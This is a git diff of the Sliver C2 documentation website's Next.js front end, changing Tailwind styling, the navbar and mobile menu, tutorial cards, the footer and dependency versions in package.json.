"my-12 border-t border-separator",
"my-12 border-t border-slate-200 dark:border-slate-800",
className
)}
/>
@@ -464,11 +461,11 @@ const MarkdownViewer = (props: MarkdownProps) => {
table(tableProps) {
const { className, children, ...rest } = tableProps;
return (
<div className="sliver-scrollbar my-8 overflow-x-auto rounded-2xl border border-separator bg-surface">
<div className="my-8 overflow-hidden rounded-xl border border-slate-200 bg-white shadow-sm dark:border-slate-800 dark:bg-slate-950/40">
<table
{...rest}
className={mergeClassNames(
"w-full min-w-max divide-y divide-separator text-left text-sm",
"w-full min-w-max divide-y divide-slate-200 text-left text-sm dark:divide-slate-800",
className
)}
>
@@ -484,7 +481,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<thead
{...rest}
className={mergeClassNames(
"bg-surface-secondary text-sm font-semibold text-muted",
"bg-slate-50 text-sm font-semibold uppercase tracking-wide text-slate-600 dark:bg-slate-900/60 dark:text-slate-300",
className
)}
>
@@ -499,7 +496,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<tbody
{...rest}
className={mergeClassNames(
"divide-y divide-separator",
"divide-y divide-slate-200 dark:divide-slate-800",
className
)}
>
@@ -514,7 +511,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<tr
{...rest}
className={mergeClassNames(
"bg-transparent",
"transition-colors hover:bg-slate-50 dark:hover:bg-slate-900/60",
className
)}
>
@@ -529,7 +526,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<th
{...rest}
className={mergeClassNames(
"px-4 py-3 text-left text-sm font-semibold text-foreground",
"px-4 py-3 text-left text-sm font-semibold text-slate-600 dark:text-slate-200",
className
)}
>
@@ -544,7 +541,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<td
{...rest}
className={mergeClassNames(
"px-4 py-3 align-top text-sm text-foreground/80",
"px-4 py-3 align-top text-sm text-slate-700 dark:text-slate-300",
className
)}
>
@@ -559,7 +556,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<strong
{...rest}
className={mergeClassNames(
"font-semibold text-foreground",
"font-semibold text-slate-900 dark:text-slate-100",
className
)}
>
@@ -574,7 +571,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<em
{...rest}
className={mergeClassNames(
"text-foreground/80",
"text-slate-700 dark:text-slate-300",
className
)}
>
@@ -608,7 +605,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<pre
{...rest}
className={mergeClassNames(
"sliver-scrollbar my-6 overflow-x-auto rounded-2xl border border-separator bg-surface-secondary p-4 text-[13px] leading-6 text-foreground",
"my-6 overflow-x-auto rounded-xl border border-slate-200 bg-slate-50 p-4 text-[13px] leading-6 text-slate-900 shadow-inner dark:border-slate-800 dark:bg-slate-950/90 dark:text-slate-100",
className
)}
>
@@ -628,7 +625,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
width={1200}
height={720}
className={mergeClassNames(
"my-8 w-full rounded-2xl border border-separator/70 object-contain",
"my-8 w-full rounded-xl border border-slate-200 object-contain shadow-sm dark:border-slate-800",
className
)}
/>
@@ -658,11 +655,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
if (normalizedLang === "youtube") {
const embedId = sourceCode || "";
return (
<div className="not-prose my-8 overflow-hidden rounded-2xl">
<Youtube embedId={embedId.trim()} />
</div>
);
return <Youtube embedId={embedId.trim()} />;
}
if (normalizedLang === "asciinema") {
@@ -675,18 +668,15 @@ const MarkdownViewer = (props: MarkdownProps) => {
return <></>;
}
return (
<div className="sliver-terminal-frame not-prose my-8 w-full max-w-full overflow-x-auto rounded-2xl bg-[#111315]">
<AsciinemaPlayer
className="min-w-[42rem]"
src={srcUrl.toString()}
rows={asciiCast.rows || "18"}
cols={asciiCast.cols || "75"}
idleTimeLimit={asciiCast.idleTimeLimit || 2}
preload={true}
autoPlay={true}
loop={true}
/>
</div>
<AsciinemaPlayer
src={srcUrl.toString()}
rows={asciiCast.rows || "18"}
cols={asciiCast.cols || "75"}
idleTimeLimit={asciiCast.idleTimeLimit || 2}
preload={true}
autoPlay={true}
loop={true}
/>
);
}
@@ -704,7 +694,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
<code
{...rest}
className={mergeClassNames(
"rounded-md bg-surface-secondary px-1.5 py-0.5 font-mono text-[13px] text-foreground",
"rounded-md bg-slate-100 px-1.5 py-0.5 font-mono text-[13px] text-slate-700 dark:bg-slate-800/80 dark:text-slate-200",
className
)}
>
@@ -762,7 +752,7 @@ const MarkdownViewer = (props: MarkdownProps) => {
const formattedSourceCode = sourceCode.replace(/\n$/, "");
const preWrapperClassName = mergeClassNames(
"sliver-scrollbar not-prose mt-4 overflow-x-auto rounded-2xl border border-separator bg-surface-secondary px-4 py-4 text-[13px] leading-6 text-foreground",
"not-prose mt-4 overflow-x-auto rounded-2xl border border-slate-200 bg-slate-50 px-4 py-4 text-[13px] leading-6 text-slate-900 shadow-sm dark:border-slate-800 dark:bg-slate-950/90 dark:text-slate-100",
className
);
+1 -1
View File
@@ -115,7 +115,7 @@ const Mermaid = ({ diagram, minHeight }: MermaidProps) => {
if (error) {
return (
<div className="not-prose my-6 rounded-2xl bg-danger-soft p-4 text-sm text-danger-soft-foreground">
<div className="not-prose my-6 text-sm text-rose-700 dark:text-rose-300">
Failed to render Mermaid diagram: {error}
</div>
);
+254 -261
View File
@@ -1,305 +1,298 @@
"use client";
import { SliversIcon } from "@/components/icons/slivers";
import { useSearchContext } from "@/util/search-context";
import { Themes } from "@/util/themes";
import { faDiscord, faGithub } from "@fortawesome/free-brands-svg-icons";
import {
faBars,
faHome,
faMoon,
faSearch,
faSun,
faXmark,
} from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import { Button, Drawer, SearchField, Tooltip } from "@heroui/react";
import {
Button,
Input,
Link,
Navbar,
NavbarBrand,
NavbarContent,
NavbarItem,
Tooltip,
} from "@heroui/react";
import { useTheme } from "next-themes";
import NextLink from "next/link";
import { useRouter } from "next/router";
import React from "react";
const routes = [
{ href: "/docs", label: "Docs" },
{ href: "/tutorials", label: "Tutorials" },
{ href: "/talks", label: "Talks" },
];
export type TopNavbarProps = {};
const discordUrl =
"https://discord.com/channels/791066041198968873/1339996286514106409";
const githubUrl = "https://github.com/BishopFox/sliver";
export default function TopNavbar() {
export default function TopNavbar(props: TopNavbarProps) {
const router = useRouter();
const search = useSearchContext();
const { theme, setTheme } = useTheme();
const [mounted, setMounted] = React.useState(false);
React.useEffect(() => {
setMounted(true);
}, []);
const lightDarkModeIcon = React.useMemo(() => {
if (!mounted) {
return faMoon;
}
return theme === Themes.DARK ? faSun : faMoon;
}, [mounted, theme]);
const [query, setQuery] = React.useState("");
const [isMobileMenuOpen, setIsMobileMenuOpen] = React.useState(false);
const activeTheme = theme || Themes.DARK;
const isDarkTheme = activeTheme === Themes.DARK;
const lightDarkModeIcon = isDarkTheme ? faSun : faMoon;
const themeToggleLabel = isDarkTheme
? "Switch to light mode"
: "Switch to dark mode";
const toggleTheme = React.useCallback(() => {
setTheme(isDarkTheme ? Themes.LIGHT : Themes.DARK);
}, [isDarkTheme, setTheme]);
React.useEffect(() => {
const desktopBreakpoint = window.matchMedia("(min-width: 768px)");
const closeMobileMenu = (event: MediaQueryListEvent) => {
if (event.matches) {
setIsMobileMenuOpen(false);
}
};
setIsMobileMenuOpen(false);
}, [router.pathname]);
desktopBreakpoint.addEventListener("change", closeMobileMenu);
return () =>
desktopBreakpoint.removeEventListener("change", closeMobileMenu);
}, []);
const handleSearchSubmit = React.useCallback(() => {
if (query.trim().length === 0) {
return;
}
router.push({ pathname: "/search/", query: { search: query } });
setQuery("");
}, [query, router]);
const handleSearchSubmit = React.useCallback(
(value = query) => {
const searchQuery = value.trim();
if (searchQuery.length === 0) {
return;
}
void router.push({
pathname: "/search/",
query: { search: searchQuery },
});
setQuery("");
setIsMobileMenuOpen(false);
},
[query, router],
);
const renderTooltip = React.useCallback(
(content: string, children: React.ReactNode) => (
<Tooltip delay={0}>
{children}
<Tooltip.Content>{content}</Tooltip.Content>
const renderSearchInput = (wrapperClassName?: string) => (
<div className={wrapperClassName}>
<Tooltip content="Press enter to search" isOpen={query.length > 0}>
<Input
size="sm"
placeholder="Search..."
value={query}
onChange={(e) => setQuery(e.target.value)}
onClear={() => setQuery("")}
startContent={<FontAwesomeIcon icon={faSearch} />}
onKeyDown={(e) => {
if (e.key === "Enter") {
handleSearchSubmit();
}
}}
/>
</Tooltip>
),
[],
</div>
);
const renderSearchInput = (className?: string) => (
<SearchField
aria-label="Search documentation"
className={className}
fullWidth
value={query}
variant="secondary"
onChange={setQuery}
onSubmit={handleSearchSubmit}
>
<SearchField.Group>
<SearchField.SearchIcon>
<FontAwesomeIcon icon={faSearch} />
</SearchField.SearchIcon>
<SearchField.Input placeholder="Search documentation…" />
{query.length > 0 ? (
<SearchField.ClearButton aria-label="Clear search" />
) : null}
</SearchField.Group>
</SearchField>
);
const renderDesktopRoute = (href: string, label: string) => {
const isActive = router.pathname.startsWith(href);
return (
<li key={href}>
<NextLink
href={href}
aria-current={isActive ? "page" : undefined}
className={`inline-flex h-10 items-center justify-center rounded-xl px-4 text-sm font-medium no-underline outline-none focus-visible:ring-2 focus-visible:ring-accent/40 ${
isActive
? "bg-surface-secondary text-foreground shadow-surface"
: "text-muted hover:bg-surface-secondary hover:text-foreground"
}`}
>
{label}
</NextLink>
</li>
);
};
const renderMobileRoute = (href: string, label: string) => {
const isActive =
href === "/"
? router.pathname === "/"
: router.pathname.startsWith(href);
return (
<NextLink
key={href}
href={href}
aria-current={isActive ? "page" : undefined}
className={`inline-flex min-h-10 w-full items-center rounded-xl px-3 py-2 text-sm font-medium no-underline outline-none focus-visible:ring-2 focus-visible:ring-accent/40 ${
isActive
? "bg-surface-secondary text-foreground shadow-surface"
: "text-muted hover:bg-surface-secondary hover:text-foreground"
}`}
onClick={() => setIsMobileMenuOpen(false)}
>
{label}
</NextLink>
);
};
return (
<>
<nav
aria-label="Primary navigation"
className="sticky top-0 z-40 h-16 border-b border-separator bg-background/85 backdrop-blur-xl"
>
<div className="mx-auto flex h-16 w-full max-w-[1440px] items-center gap-3 px-4 sm:px-6 lg:px-8">
<NextLink
href="/"
aria-label="Sliver documentation home"
className="-ml-2 inline-flex h-10 shrink-0 items-center gap-2 rounded-xl px-2 text-sm font-semibold text-foreground no-underline outline-none hover:bg-surface-secondary focus-visible:ring-2 focus-visible:ring-accent/40"
<Navbar
isBordered
maxWidth="full"
classNames={{
item: [
"flex",
"relative",
"h-full",
"items-center",
"data-[active=true]:after:content-['']",
"data-[active=true]:after:absolute",
"data-[active=true]:after:bottom-0",
"data-[active=true]:after:left-0",
"data-[active=true]:after:right-0",
"data-[active=true]:after:h-[2px]",
"data-[active=true]:after:rounded-[2px]",
"data-[active=true]:after:bg-primary",
],
}}
>
<NavbarBrand>
<SliversIcon />
<span className="hidden sm:block font-bold text-inherit">
&nbsp; Sliver C2
</span>
</NavbarBrand>
<NavbarContent className="hidden md:flex">
<NavbarItem isActive={router.pathname === "/"}>
<Button
variant="light"
color={router.pathname === "/" ? "primary" : "default"}
as={Link}
onPress={() => router.push("/")}
>
<span className="flex size-8 items-center justify-center rounded-xl bg-accent text-accent-foreground">
<SliversIcon height={18} />
</span>
<span className="hidden items-baseline gap-1.5 sm:flex">
<span>Sliver C2</span>
</span>
</NextLink>
<FontAwesomeIcon fixedWidth icon={faHome} />
</Button>
</NavbarItem>
<ul className="hidden items-center gap-1 md:flex">
{routes.map((route) =>
renderDesktopRoute(route.href, route.label),
)}
</ul>
<NavbarItem isActive={router.pathname.startsWith("/tutorials")}>
<Button
variant="light"
color={router.pathname === "/tutorials" ? "primary" : "default"}
as={Link}
onPress={() => router.push("/tutorials")}
>
Tutorials
</Button>
</NavbarItem>
<div className="ml-auto hidden items-center gap-1 md:flex">
{renderSearchInput("mr-2 w-56 xl:w-72")}
<NavbarItem isActive={router.pathname.startsWith("/talks")}>
<Button
variant="light"
color={router.pathname === "/talks" ? "primary" : "default"}
as={Link}
onPress={() => router.push("/talks")}
>
Talks
</Button>
</NavbarItem>
{renderTooltip(
themeToggleLabel,
<Button
isIconOnly
aria-label={themeToggleLabel}
variant="ghost"
onPress={toggleTheme}
>
<FontAwesomeIcon icon={lightDarkModeIcon} />
</Button>,
)}
<NavbarItem isActive={router.pathname.startsWith("/docs")}>
<Button
variant="light"
color={router.pathname === "/docs" ? "primary" : "default"}
as={Link}
onPress={() => router.push("/docs")}
>
Docs
</Button>
</NavbarItem>
</NavbarContent>
{renderTooltip(
"Join Discord",
<a
href={discordUrl}
target="_blank"
rel="noreferrer"
aria-label="Join Discord"
className="inline-flex size-10 items-center justify-center rounded-xl text-muted no-underline outline-none hover:bg-surface-secondary hover:text-foreground focus-visible:ring-2 focus-visible:ring-accent/40"
>
<FontAwesomeIcon icon={faDiscord} />
</a>,
)}
<NavbarContent as="div" justify="end" className="hidden md:flex">
{renderSearchInput("w-64")}
<Tooltip
content={theme === Themes.DARK ? "Switch to light mode" : "Switch to dark mode"}
>
<Button
variant="ghost"
onPress={() => {
setTheme(theme === Themes.DARK ? Themes.LIGHT : Themes.DARK);
}}
isDisabled={!mounted}
>
<FontAwesomeIcon icon={lightDarkModeIcon} />
</Button>
</Tooltip>
{renderTooltip(
"View on GitHub",
<a
href={githubUrl}
target="_blank"
rel="noreferrer"
aria-label="View on GitHub"
className="inline-flex size-10 items-center justify-center rounded-xl text-muted no-underline outline-none hover:bg-surface-secondary hover:text-foreground focus-visible:ring-2 focus-visible:ring-accent/40"
>
<FontAwesomeIcon icon={faGithub} />
</a>,
)}
</div>
<Tooltip content="Join Discord">
<Button
variant="ghost"
onPress={() => {
window.open(
"https://discord.com/channels/791066041198968873/1339996286514106409",
"_blank",
);
}}
>
<FontAwesomeIcon icon={faDiscord} />
</Button>
</Tooltip>
<div className="ml-auto flex items-center gap-1 md:hidden">
{renderTooltip(
themeToggleLabel,
<Button
isIconOnly
aria-label={themeToggleLabel}
variant="ghost"
onPress={toggleTheme}
>
<FontAwesomeIcon icon={lightDarkModeIcon} />
</Button>,
)}
<Tooltip content="View on GitHub">
<Button
variant="ghost"
onPress={() => {
window.open("https://github.com/BishopFox/sliver", "_blank");
}}
>
<FontAwesomeIcon icon={faGithub} />
</Button>
</Tooltip>
</NavbarContent>
{renderTooltip(
isMobileMenuOpen ? "Close menu" : "Open menu",
<Button
isIconOnly
aria-controls="mobile-navigation"
aria-expanded={isMobileMenuOpen}
aria-label={isMobileMenuOpen ? "Close menu" : "Open menu"}
variant="ghost"
onPress={() =>
setIsMobileMenuOpen((current) => !current)
}
>
<FontAwesomeIcon icon={isMobileMenuOpen ? faXmark : faBars} />
</Button>,
)}
<div className="flex items-center gap-2 md:hidden">
<Tooltip
content={theme === Themes.DARK ? "Switch to light mode" : "Switch to dark mode"}
>
<Button
variant="ghost"
onPress={() => {
setTheme(theme === Themes.DARK ? Themes.LIGHT : Themes.DARK);
}}
isDisabled={!mounted}
>
<FontAwesomeIcon icon={lightDarkModeIcon} />
</Button>
</Tooltip>
<Tooltip content={isMobileMenuOpen ? "Close menu" : "Open menu"}>
<Button
variant="ghost"
aria-label={isMobileMenuOpen ? "Close menu" : "Open menu"}
onPress={() => setIsMobileMenuOpen((current) => !current)}
>
<FontAwesomeIcon icon={isMobileMenuOpen ? faXmark : faBars} />
</Button>
</Tooltip>
</div>
</Navbar>
{isMobileMenuOpen ? (
<div className="md:hidden border-b border-default-200 dark:border-default-100/40 bg-content1 px-4 pb-4 shadow-sm">
<div className="mt-3">{renderSearchInput("w-full")}</div>
<div className="mt-4 flex flex-col gap-2">
<Button
variant={router.pathname === "/" ? "solid" : "light"}
color={router.pathname === "/" ? "primary" : "default"}
onPress={() => {
router.push("/");
setIsMobileMenuOpen(false);
}}
startContent={<FontAwesomeIcon fixedWidth icon={faHome} />}
>
Home
</Button>
<Button
variant={router.pathname.startsWith("/tutorials") ? "solid" : "light"}
color={router.pathname.startsWith("/tutorials") ? "primary" : "default"}
onPress={() => {
router.push("/tutorials");
setIsMobileMenuOpen(false);
}}
>
Tutorials
</Button>
<Button
variant={router.pathname.startsWith("/talks") ? "solid" : "light"}
color={router.pathname.startsWith("/talks") ? "primary" : "default"}
onPress={() => {
router.push("/talks");
setIsMobileMenuOpen(false);
}}
>
Talks
</Button>
<Button
variant={router.pathname.startsWith("/docs") ? "solid" : "light"}
color={router.pathname.startsWith("/docs") ? "primary" : "default"}
onPress={() => {
router.push("/docs");
setIsMobileMenuOpen(false);
}}
>
Docs
</Button>
<Button
variant="light"
onPress={() => {
window.open(
"https://discord.com/channels/791066041198968873/1339996286514106409",
"_blank",
);
}}
startContent={<FontAwesomeIcon icon={faDiscord} />}
>
Discord
</Button>
<Button
variant="light"
onPress={() => {
window.open("https://github.com/BishopFox/sliver", "_blank");
}}
startContent={<FontAwesomeIcon icon={faGithub} />}
>
GitHub
</Button>
</div>
</div>
</nav>
<Drawer.Backdrop
isOpen={isMobileMenuOpen}
variant="blur"
onOpenChange={setIsMobileMenuOpen}
>
<Drawer.Content placement="right">
<Drawer.Dialog
id="mobile-navigation"
className="w-[min(24rem,calc(100vw-1.5rem))]"
>
<Drawer.CloseTrigger />
<Drawer.Header>
<Drawer.Heading>Navigate Sliver Docs</Drawer.Heading>
</Drawer.Header>
<Drawer.Body className="flex flex-col gap-5 pt-2">
{renderSearchInput("w-full")}
<nav
aria-label="Mobile navigation"
className="flex flex-col gap-1"
>
{renderMobileRoute("/", "Home")}
{routes.map((route) =>
renderMobileRoute(route.href, route.label),
)}
</nav>
</Drawer.Body>
<Drawer.Footer className="grid grid-cols-2 gap-2">
<a
href={discordUrl}
target="_blank"
rel="noreferrer"
className="inline-flex h-10 w-full items-center justify-center gap-2 rounded-xl border border-separator px-4 text-sm font-medium text-foreground no-underline outline-none hover:bg-surface-secondary focus-visible:ring-2 focus-visible:ring-accent/40"
>
<FontAwesomeIcon icon={faDiscord} />
Discord
</a>
<a
href={githubUrl}
target="_blank"
rel="noreferrer"
className="inline-flex h-10 w-full items-center justify-center gap-2 rounded-xl border border-separator px-4 text-sm font-medium text-foreground no-underline outline-none hover:bg-surface-secondary focus-visible:ring-2 focus-visible:ring-accent/40"
>
<FontAwesomeIcon icon={faGithub} />
GitHub
</a>
</Drawer.Footer>
</Drawer.Dialog>
</Drawer.Content>
</Drawer.Backdrop>
) : null}
</>
);
}
+40 -35
View File
@@ -1,8 +1,9 @@
import { Button, Card } from "@heroui/react";
import { Button, Card, CardFooter, CardHeader } from "@heroui/react";
import AsciinemaPlayer from "./asciinema";
import { faChevronRight } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import styles from "./TutorialCard.module.css";
export type TutorialCardCardProps = {
name: string;
@@ -12,7 +13,6 @@ export type TutorialCardCardProps = {
rows?: string;
cols?: string;
idleTimeLimit?: number;
hideControls?: boolean;
italicDescription?: boolean;
onPress?: () => void;
@@ -22,48 +22,53 @@ export type TutorialCardCardProps = {
export default function TutorialCard(props: TutorialCardCardProps) {
return (
<Card className="relative h-full min-w-0 gap-0 overflow-hidden bg-black p-0 shadow-surface">
<div className="sliver-terminal-frame relative w-full max-w-full overflow-x-auto bg-[#111315]">
<Card isFooterBlurred className="relative z-0">
<CardHeader className="absolute z-10 top-1 flex-col items-end">
<p className="text-md text-white/70 uppercase font-bold">
{props.name}
</p>
</CardHeader>
<div className={styles["hide-control-bar"]}>
<AsciinemaPlayer
className="min-w-[36rem]"
src={props.asciiCast}
hideControls={props.hideControls}
rows={props.rows || "18"}
cols={props.cols || "75"}
idleTimeLimit={props.idleTimeLimit || 2}
rows={props.rows ? props.rows : "18"}
cols={props.cols ? props.cols : "75"}
idleTimeLimit={props.idleTimeLimit ? props.idleTimeLimit : 2}
preload={true}
autoPlay={true}
loop={true}
/>
<div className="pointer-events-none absolute inset-x-3 top-3 z-10 flex justify-end">
<h3 className="max-w-[80%] rounded-xl border border-white/15 bg-black/55 px-3 py-2 text-right text-sm font-semibold text-white/85 shadow-lg backdrop-blur-xl">
{props.name}
</h3>
</div>
</div>
<Card.Footer className="absolute inset-x-3 bottom-10 z-10 flex-row items-center gap-3 rounded-2xl border border-white/15 bg-black/55 px-3 py-2.5 text-white shadow-xl backdrop-blur-xl">
<p
className={`min-w-0 flex-1 text-sm leading-5 text-white/70 ${
props.italicDescription ? "italic" : ""
}`}
>
{props.description}
</p>
{props.showButton ? (
<Button
className="shrink-0 text-white hover:bg-white/10"
size="sm"
variant="ghost"
onPress={props.onPress}
<CardFooter className="absolute bottom-0 z-10 bg-black/40 border-t-1 border-default-600 dark:border-default-100">
<div className="flex flex-row w-full items-center">
<p
className={
props.italicDescription
? "text-xs text-white/80 italic"
: "text-xs text-white/80"
}
>
{props.buttonText || "Read tutorial"}
<FontAwesomeIcon icon={faChevronRight} />
</Button>
) : null}
</Card.Footer>
{props.description}
</p>
{props.showButton ? (
<Button
variant="ghost"
color="warning"
size="sm"
onPress={props.onPress}
className="ml-auto"
>
{props.buttonText ? props.buttonText : "Read Tutorial"}{" "}
<FontAwesomeIcon icon={faChevronRight} />
</Button>
) : (
<></>
)}
</div>
</CardFooter>
</Card>
);
}
-1
View File
@@ -1,7 +1,6 @@
/** @type {import('next').NextConfig} */
const nextConfig = {
output: 'export',
trailingSlash: true,
reactStrictMode: true,
images: {
unoptimized: true,
+4213 -1516
View File
File diff suppressed because it is too large. Load diff
+25 -32
View File
@@ -14,47 +14,40 @@
},
"dependencies": {
"@fontsource/fira-code": "^5.2.7",
"@fortawesome/fontawesome-svg-core": "^7.2.0",
"@fortawesome/free-brands-svg-icons": "^7.2.0",
"@fortawesome/free-solid-svg-icons": "^7.2.0",
"@fortawesome/react-fontawesome": "^3.3.1",
"@heroui/react": "^3.0.3",
"@heroui/styles": "^3.0.3",
"@fortawesome/fontawesome-svg-core": "^7.1.0",
"@fortawesome/free-brands-svg-icons": "^7.1.0",
"@fortawesome/free-solid-svg-icons": "^7.1.0",
"@fortawesome/react-fontawesome": "^3.1.0",
"@heroui/react": "^2.8.5",
"@monaco-editor/react": "^4.7.0",
"@tailwindcss/postcss": "^4.2.4",
"@tanstack/react-query": "^5.100.6",
"asciinema-player": "^3.15.1",
"fuse.js": "^7.3.0",
"@tailwindcss/postcss": "^4.1.14",
"@tanstack/react-query": "^5.90.2",
"asciinema-player": "^3.11.0",
"framer-motion": "^12.23.22",
"fuse.js": "^7.1.0",
"lunr": "^2.3.9",
"mermaid": "^11.15.0",
"next": "^16.2.6",
"mermaid": "^11.12.2",
"next": "^16.1.6",
"next-themes": "^0.4.6",
"react": "^19.2.5",
"react-dom": "^19.2.5",
"react": "^19.2.0",
"react-dom": "^19.2.0",
"react-markdown": "^10.1.0",
"react-syntax-highlighter": "^16.1.1",
"react-syntax-highlighter": "^15.6.6",
"remark-gfm": "^4.0.1"
},
"devDependencies": {
"@tailwindcss/typography": "^0.5.19",
"@types/lunr": "^2.3.7",
"@types/node": "^25.6.0",
"@types/react": "^19.2.14",
"@types/react-dom": "^19.2.3",
"@types/node": "^24.6.2",
"@types/react": "^19.2.0",
"@types/react-dom": "^19.2.0",
"@types/react-syntax-highlighter": "^15.5.13",
"autoprefixer": "^10.5.0",
"concurrently": "^9.2.1",
"eslint": "^9.39.4",
"eslint-config-next": "^16.2.4",
"postcss": "^8.5.13",
"tailwindcss": "^4.2.4",
"typescript": "^6.0.3"
},
"overrides": {
"dompurify": "^3.4.13",
"postcss": "^8.5.13",
"sharp": "^0.35.3",
"shell-quote": "^1.8.4",
"uuid": "^14.0.0"
"autoprefixer": "^10.4.21",
"concurrently": "^9.1.0",
"eslint": "^9.37.0",
"eslint-config-next": "^16.1.6",
"postcss": "^8.5.6",
"tailwindcss": "^4.1.14",
"typescript": "^5.9.3"
}
}
+60 -64
View File
@@ -8,7 +8,7 @@ import { fetchDocs as fetchDocsContent, fetchTutorials as fetchTutorialsContent
import { Themes } from "@/util/themes";
import { faExternalLink } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import { RouterProvider } from "@heroui/react";
import { HeroUIProvider } from "@heroui/react";
import {
HydrationBoundary,
QueryClient,
@@ -16,19 +16,9 @@ import {
} from "@tanstack/react-query";
import { ThemeProvider as NextThemesProvider } from "next-themes";
import type { AppProps } from "next/app";
import { useRouter } from "next/router";
import React from "react";
export default function App({ Component, pageProps }: AppProps) {
const router = useRouter();
const navigate = React.useCallback(
(path: string) => {
void router.push(path);
},
[router],
);
// Initialize search
const [search] = React.useState(() => new SearchCtx());
@@ -104,60 +94,66 @@ export default function App({ Component, pageProps }: AppProps) {
});
return (
<NextThemesProvider
attribute="class"
defaultTheme={Themes.DARK}
enableSystem={false}
storageKey="theme"
>
<QueryClientProvider client={queryClient}>
<HydrationBoundary state={pageProps.dehydratedState}>
<RouterProvider navigate={navigate}>
<HeroUIProvider>
<NextThemesProvider
attribute="class"
defaultTheme={Themes.DARK}
enableSystem={false}
storageKey="theme"
>
<QueryClientProvider client={queryClient}>
<HydrationBoundary state={pageProps.dehydratedState}>
<SearchContext.Provider value={search}>
<div className="flex min-h-dvh flex-col">
<Navbar />
<main className="sliver-page-content flex-1">
<Component {...pageProps} />
</main>
<footer className="sliver-fixed-footer fixed inset-x-0 bottom-0 z-30 border-t border-separator/70 bg-background/70 backdrop-blur-xl">
<div className="mx-auto flex min-h-[var(--sliver-footer-height)] w-full max-w-7xl flex-col items-center justify-center gap-1.5 px-4 py-3 text-center text-sm text-muted sm:px-6 md:flex-row md:justify-between md:text-left lg:px-8">
<span>
© {new Date().getFullYear()} {" "}
<a
href="https://bishopfox.com/"
className="font-medium text-foreground no-underline hover:text-accent"
rel="noreferrer"
target="_blank"
>
Bishop Fox
</a>
</span>
<div className="flex flex-wrap items-center justify-center gap-x-5 gap-y-2">
<a
href="https://github.com/BishopFox/sliver/pulls"
rel="noreferrer"
className="inline-flex items-center gap-1.5 no-underline hover:text-foreground"
target="_blank"
>
Improve these docs
<FontAwesomeIcon className="text-xs" icon={faExternalLink} />
</a>
<a
href="https://github.com/BishopFox/sliver/blob/master/LICENSE"
target="_blank"
rel="noreferrer"
className="no-underline hover:text-foreground"
>
GPLv3
</a>
</div>
</div>
</footer>
</div>
<Navbar />
<Component {...pageProps} />
<div className="mb-16 md:mb-20"></div>
<footer className="z-20 w-full border-t border-gray-200 bg-white px-3 py-4 text-center shadow dark:bg-black dark:border-gray-600 md:fixed md:bottom-0 md:left-0 md:flex md:items-center md:justify-between md:px-6 md:py-4">
<div className="flex flex-col items-center gap-2 text-xs leading-snug text-gray-500 sm:text-sm md:flex-row md:items-center md:gap-3 md:text-left dark:text-gray-400">
<span>
© {new Date().getFullYear()}&nbsp;
<a
href="https://bishopfox.com/"
className="hover:underline"
rel="noreferrer"
target="_blank"
>
Bishop Fox
</a>
</span>
<span className="hidden md:inline" aria-hidden="true">
·
</span>
<span className="max-w-xs md:max-w-none">
<a
href="https://github.com/BishopFox/sliver/pulls"
rel="noreferrer"
className="hover:underline"
target="_blank"
>
Help improve this documentation
<span className="ml-1 inline-block">
<FontAwesomeIcon icon={faExternalLink} />
</span>
</a>
</span>
</div>
<ul className="mt-3 flex flex-wrap items-center justify-center gap-3 text-xs font-medium text-gray-500 md:mt-0 md:gap-6 md:text-sm dark:text-gray-400">
<li>
<a
href="https://github.com/BishopFox/sliver/blob/master/LICENSE"
target="_blank"
rel="noreferrer"
className="hover:underline"
>
GPLv3 License
</a>
</li>
</ul>
</footer>
</SearchContext.Provider>
</RouterProvider>
</HydrationBoundary>
</QueryClientProvider>
</NextThemesProvider>
</HydrationBoundary>
</QueryClientProvider>
</NextThemesProvider>
</HeroUIProvider>
);
}
+108 -177
View File
@@ -3,37 +3,30 @@ import LoadingState from "@/components/loading-state";
import { Docs } from "@/util/docs";
import { PREBUILD_VERSION } from "@/util/__generated__/prebuild-version";
import { fetchDocs as fetchDocsContent } from "@/util/content-fetchers";
import {
faBookOpen,
faChevronRight,
faSearch,
} from "@fortawesome/free-solid-svg-icons";
import { Themes } from "@/util/themes";
import { faSearch } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import {
Button,
Card,
ListBox,
CardBody,
CardHeader,
Divider,
Input,
Listbox,
ListboxItem,
ScrollShadow,
SearchField,
} from "@heroui/react";
import { useQuery } from "@tanstack/react-query";
import Fuse from "fuse.js";
import { NextPage } from "next";
import { useTheme } from "next-themes";
import Head from "next/head";
import { useSearchParams } from "next/navigation";
import { useRouter } from "next/router";
import React from "react";
const featuredDocNames = [
"Getting Started",
"Compile from Source",
"Architecture",
"Armory",
"Stagers",
"Troubleshooting",
];
const DocsIndexPage: NextPage = () => {
const { theme } = useTheme();
const router = useRouter();
const { data: docs, isLoading } = useQuery({
@@ -82,35 +75,13 @@ const DocsIndexPage: NextPage = () => {
return selectedDoc ? [selectedDoc, ...visibleDocs] : visibleDocs;
}, [docs, name, visibleDocs]);
const listboxClasses =
"flex flex-col gap-1 overflow-visible bg-transparent p-0";
const featuredDocs = React.useMemo(() => {
return featuredDocNames
.map((featuredName) => docs?.docs.find((doc) => doc.name === featuredName))
.filter((doc) => doc !== undefined);
}, [docs]);
const renderFilterInput = (className?: string) => (
<SearchField
aria-label="Filter documents"
className={className}
fullWidth
variant="secondary"
value={filterValue}
onChange={setFilterValue}
>
<SearchField.Group>
<SearchField.SearchIcon>
<FontAwesomeIcon icon={faSearch} />
</SearchField.SearchIcon>
<SearchField.Input placeholder="Filter..." />
{filterValue.length > 0 ? (
<SearchField.ClearButton aria-label="Clear document filter" />
) : null}
</SearchField.Group>
</SearchField>
);
